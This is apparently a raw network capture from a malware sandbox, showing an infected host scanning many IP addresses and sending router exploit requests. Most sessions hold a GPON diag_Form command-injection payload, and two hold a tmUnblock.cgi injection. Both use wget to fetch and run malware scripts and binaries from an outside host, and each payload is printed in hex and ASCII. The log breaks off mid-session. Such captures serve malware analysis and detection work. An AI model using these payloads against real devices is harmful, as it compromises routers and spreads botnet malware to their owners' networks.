Mar 21, 2024 05:21:09.926152945 CET	443	17297	37.98.203.121	192.168.2.14
Mar 21, 2024 05:21:09.926156044 CET	443	17297	178.29.56.49	192.168.2.14
Mar 21, 2024 05:21:09.926158905 CET	17297	443	192.168.2.14	2.239.0.191
Mar 21, 2024 05:21:09.926158905 CET	17297	443	192.168.2.14	94.31.151.140
Mar 21, 2024 05:21:09.926160097 CET	17297	443	192.168.2.14	5.61.113.227
Mar 21, 2024 05:21:09.926162004 CET	17297	443	192.168.2.14	210.111.6.192
Mar 21, 2024 05:21:09.926160097 CET	17297	443	192.168.2.14	212.93.50.13
Mar 21, 2024 05:21:09.926162004 CET	17297	443	192.168.2.14	94.147.234.35
Mar 21, 2024 05:21:09.926161051 CET	443	17297	42.30.135.208	192.168.2.14
Mar 21, 2024 05:21:09.926162004 CET	17297	443	192.168.2.14	2.104.242.74
Mar 21, 2024 05:21:09.926165104 CET	443	17297	212.219.195.18	192.168.2.14
Mar 21, 2024 05:21:09.926167011 CET	17297	443	192.168.2.14	210.75.101.158
Mar 21, 2024 05:21:09.926167965 CET	443	17297	109.105.49.85	192.168.2.14
Mar 21, 2024 05:21:09.926170111 CET	443	17297	210.175.157.137	192.168.2.14
Mar 21, 2024 05:21:09.926171064 CET	443	17297	2.86.150.228	192.168.2.14
Mar 21, 2024 05:21:09.926175117 CET	17297	443	192.168.2.14	79.129.32.6
Mar 21, 2024 05:21:09.926171064 CET	17297	443	192.168.2.14	178.109.103.8
Mar 21, 2024 05:21:09.926175117 CET	443	17297	210.75.101.158	192.168.2.14
Mar 21, 2024 05:21:09.926172972 CET	443	17297	42.226.124.33	192.168.2.14
Mar 21, 2024 05:21:09.926178932 CET	443	17297	2.156.11.218	192.168.2.14
Mar 21, 2024 05:21:09.926187038 CET	443	17297	178.80.40.127	192.168.2.14
Mar 21, 2024 05:21:09.926188946 CET	17297	443	192.168.2.14	212.152.136.98
Mar 21, 2024 05:21:09.926188946 CET	17297	443	192.168.2.14	212.72.5.129

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port
0	192.168.2.14	40744	178.122.214.114	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:09.929142952 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
1	192.168.2.14	35898	178.96.47.121	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:09.929265976 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
2	192.168.2.14	57728	109.97.3.126	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:09.929352999 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
3	192.168.2.14	35714	178.61.197.140	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940701008 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
4	192.168.2.14	40706	109.252.207.217	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940749884 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
5	192.168.2.14	59214	2.183.39.178	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940757036 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
6	192.168.2.14	48756	79.213.248.198	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940798044 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
7	192.168.2.14	50530	178.206.48.18	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940804005 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
8	192.168.2.14	37368	94.232.46.248	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940839052 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
9	192.168.2.14	48712	118.239.254.113	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940912962 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
10	192.168.2.14	47480	210.160.165.151	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940938950 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
11	192.168.2.14	43948	37.105.93.159	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.940994978 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
12	192.168.2.14	42130	79.118.28.48	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:12.941037893 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
13	192.168.2.14	44510	172.64.33.246	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.901793957 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:16.416506052 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
14	192.168.2.14	57892	172.64.152.241	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.901984930 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:21:16.419173002 CET	122	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
15	192.168.2.14	60718	2.76.180.200	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955144882 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
16	192.168.2.14	57616	37.164.0.224	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955146074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
17	192.168.2.14	35224	118.85.169.32	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955146074 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
18	192.168.2.14	33664	79.59.131.160	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955229998 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
19	192.168.2.14	40110	118.67.231.9	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955236912 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
20	192.168.2.14	54484	5.79.123.98	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955275059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
21	192.168.2.14	47940	212.238.207.146	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955275059 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
22	192.168.2.14	47422	37.121.168.12	443

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:21:15.955318928 CET	324	OUT	POST /GponForm/diag_Form?style/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.14	50566	79.230.44.208	443

Timestamp	Bytes transferred	Direction	Data
